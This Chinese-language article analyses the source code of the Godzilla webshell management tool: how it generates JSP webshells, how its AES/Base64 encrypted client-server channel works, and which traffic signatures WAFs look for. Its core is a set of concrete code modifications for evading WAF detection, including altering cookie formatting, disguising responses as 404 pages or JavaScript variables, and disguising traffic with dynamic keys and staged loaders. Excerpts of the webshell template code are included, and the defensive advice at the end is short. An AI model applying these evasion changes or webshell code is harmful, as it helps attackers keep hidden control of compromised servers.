哥斯拉源码解读+如何绕过waf检测
字数 1252 2025-08-22 22:47:30
哥斯拉Webshell工具源码分析与WAF绕过技术详解
一、哥斯拉Webshell工具概述
哥斯拉是一款功能强大的Webshell管理工具,其核心功能包括:
- Webshell生成
- Webshell连接
- Webshell利用
该工具在HW期间广受关注,主要因其独特的加密和通信机制能够有效绕过安全检测。
二、环境搭建
- 获取反编译后的源码
- 将resource目录设置为资源目录
三、Webshell生成机制分析
3.1 生成选项
- 密码和密钥自定义
- 有效载荷类型选择
- 加密器选择
3.2 Java类型Webshell生成源码分析
核心类:shells/cryptions/JavaAes/Generate.java
关键方法:GenerateShellLoder
public static byte[] GenerateShellLoder(String pass, String secretKey, boolean isBin) {
// 1. 加载模板文件
InputStream inputStream = Generate.class.getClassLoader().getResourceAsStream("shell/java/template/" + (isBin ? "raw" : "base64") + "GlobalCode.bin");
// 2. 替换模板中的占位符
String globalCode2 = globalCode.replace("{pass}", pass).replace("{secretKey}", secretKey);
// 3. 处理特殊后缀(如jspx)
if (suffix.equals(SUFFIX[1])) {
globalCode2 = globalCode2.replace("<", "<").replace(">", ">");
}
// 4. 上帝模式下的Unicode编码
if (ApplicationContext.isGodMode()) {
template = template2.replace("{globalCode}", functions.stringToUnicode(globalCode2))
.replace("{code}", functions.stringToUnicode(code));
}
// 5. 最终处理
return template.replace("\n", "").replace("\r", "").getBytes();
}
3.3 生成的Webshell结构
典型Java Webshell包含以下功能组件:
- AES加解密模块
- Base64编解码模块
- MD5哈希模块
- 自定义类加载器
- Payload执行逻辑
<%!
// AES加密方法
public byte[] x(byte[] s, boolean m) {
try {
javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES");
c.init(m ? 1 : 2, new javax.crypto.spec.SecretKeySpec(xc.getBytes(), "AES"));
return c.doFinal(s);
} catch (Exception e) {
return null;
}
}
// Base64编码方法(兼容Java 8+和旧版本)
public static String base64Encode(byte[] bs) throws Exception {
Class base64;
String value = null;
try {
base64 = Class.forName("java.util.Base64");
Object encoder = base64.getMethod("getEncoder", null).invoke(base64, null);
value = (String) encoder.getClass().getMethod("encodeToString", new Class[]{byte[].class}).invoke(encoder, new Object[]{bs});
} catch (Exception e) {
// 旧版本处理...
}
return value;
}
%>
四、Webshell连接机制
4.1 连接流程
-
初始化阶段:
public boolean initShellOpertion() { this.http = ApplicationContext.getHttp(this); this.payloadModel = ApplicationContext.getPayload(this.payload); this.cryptionModel = ApplicationContext.getCryption(this.payload, this.cryption); // 发送初始化payload this.cryptionModel.init(this); // 测试连接 return this.payloadModel.test(); } -
加密初始化:
public void init(ShellEntity context) { this.encodeCipher = Cipher.getInstance("AES"); this.decodeCipher = Cipher.getInstance("AES"); this.encodeCipher.init(1, new SecretKeySpec(this.key.getBytes(), "AES")); this.decodeCipher.init(2, new SecretKeySpec(this.key.getBytes(), "AES")); // 发送payload this.http.sendHttpResponse(this.payload); this.state = true; } -
请求发送:
public HttpResponse sendHttpResponse(Map<String, String> header, byte[] requestData, int connTimeOut, int readTimeOut) { // 加密数据 byte[] requestData2 = this.shellContext.getCryptionModel().encode(requestData); // 添加前后缀 byte[] leftData = this.shellContext.getReqLeft().getBytes(); byte[] rightData = this.shellContext.getReqRight().getBytes(); requestData2 = functions.concatArrays(leftData, requestData2, rightData); // 发送请求 return SendHttpConn(this.shellContext.getUrl(), "POST", header, requestData2, connTimeOut, readTimeOut, this.proxy); }
4.2 加密通信流程
-
客户端加密:
public byte[] encode(byte[] data) { return (this.pass + "=" + URLEncoder.encode(functions.base64Encode(this.encodeCipher.doFinal(data)))).getBytes(); } -
服务端解密:
public byte[] decode(byte[] data) { return this.decodeCipher.doFinal(functions.base64Decode(findStr(data))); } public String findStr(byte[] respResult) { return functions.subMiddleStr(new String(respResult), this.findStrLeft, this.findStrRight); }
五、WAF检测特征与绕过技术
5.1 哥斯拉的流量特征
-
Cookie特征:
- 最后一个Cookie值后带有不必要的分号
- 源码中的处理逻辑:
cookies.forEach((cookie) -> { sb.append(String.format(" %s=%s;", cookie.getName(), cookie.getValue())); });
-
响应体特征:
- 格式:MD5前16位 + Base64编码数据 + MD5后16位
- 对应代码:
response.getWriter().write(md5.substring(0, 16)); response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true))); response.getWriter().write(md5.substring(16));
-
请求包特征:
- 参数=编码值的形式
5.2 WAF绕过技术
方法1:修改Cookie处理逻辑
移除Cookie末尾不必要的分号:
// 修改前
sb.append(String.format(" %s=%s;", cookie.getName(), cookie.getValue()));
// 修改后
sb.append(String.format(" %s=%s", cookie.getName(), cookie.getValue()));
方法2:伪装响应为404页面
修改Webshell模板:
<%
response.setStatus(404); // 设置HTTP状态码为404
response.getWriter().write("Page not found");
%>
方法3:修改响应格式
- 修改模板文件:
// 替换原有的响应写入逻辑
String left = md5.substring(0, 5).toLowerCase();
String replacedString = "var Rebdsek_config=".replace("bdsek", left);
response.setContentType("text/html");
response.getWriter().write("<!DOCTYPE html>");
// ... 其他HTML内容 ...
response.getWriter().write(replacedString);
response.getWriter().write(base64Encode(x(arrOut.toByteArray(), true)));
response.getWriter().write(";");
- 修改后端解析逻辑:
// 修改findStr方法
String findStrMd5 = functions.md5(this.pass + new String(this.key));
String md5Prefix = findStrMd5.substring(0, 5);
this.findStrLeft1 = "var Rebdsek_config=";
this.findStrLeft = this.findStrLeft1.replace("bdsek", md5Prefix);
this.findStrRight = ";";
方法4:修改请求参数格式
修改请求参数的表现形式,使其不像典型的Webshell请求。
六、高级隐蔽技术
6.1 流量伪装技术
-
模仿正常API请求:
- 使用常见的参数名如
callback、data等 - 采用JSON格式传输
- 使用常见的参数名如
-
模仿静态资源请求:
- 伪装成图片、CSS或JS文件请求
- 在正常文件中隐藏恶意代码
6.2 动态密钥技术
- 每次连接使用不同的密钥
- 基于时间或特定算法生成动态密钥
6.3 多阶段加载技术
- 第一阶段:加载无害的小型加载器
- 第二阶段:通过加密通道获取完整功能
七、防御建议
-
流量检测:
- 监控异常的Base64编码流量
- 检测不规则的Cookie设置
-
行为检测:
- 监控异常的类加载行为
- 检测反射调用等危险操作
-
静态检测:
- 扫描可疑的加密函数调用
- 检测自定义类加载器的使用
-
WAF规则:
- 针对哥斯拉的特定特征制定规则
- 使用机器学习模型检测异常流量模式
八、总结
哥斯拉Webshell工具通过以下技术实现高隐蔽性:
- 强加密通信(AES+Base64)
- 动态类加载技术
- 灵活的模板生成系统
- 多层次的流量混淆
对抗此类工具需要从静态特征、动态行为、网络流量等多个维度进行防御,同时保持对新型绕过技术的持续研究。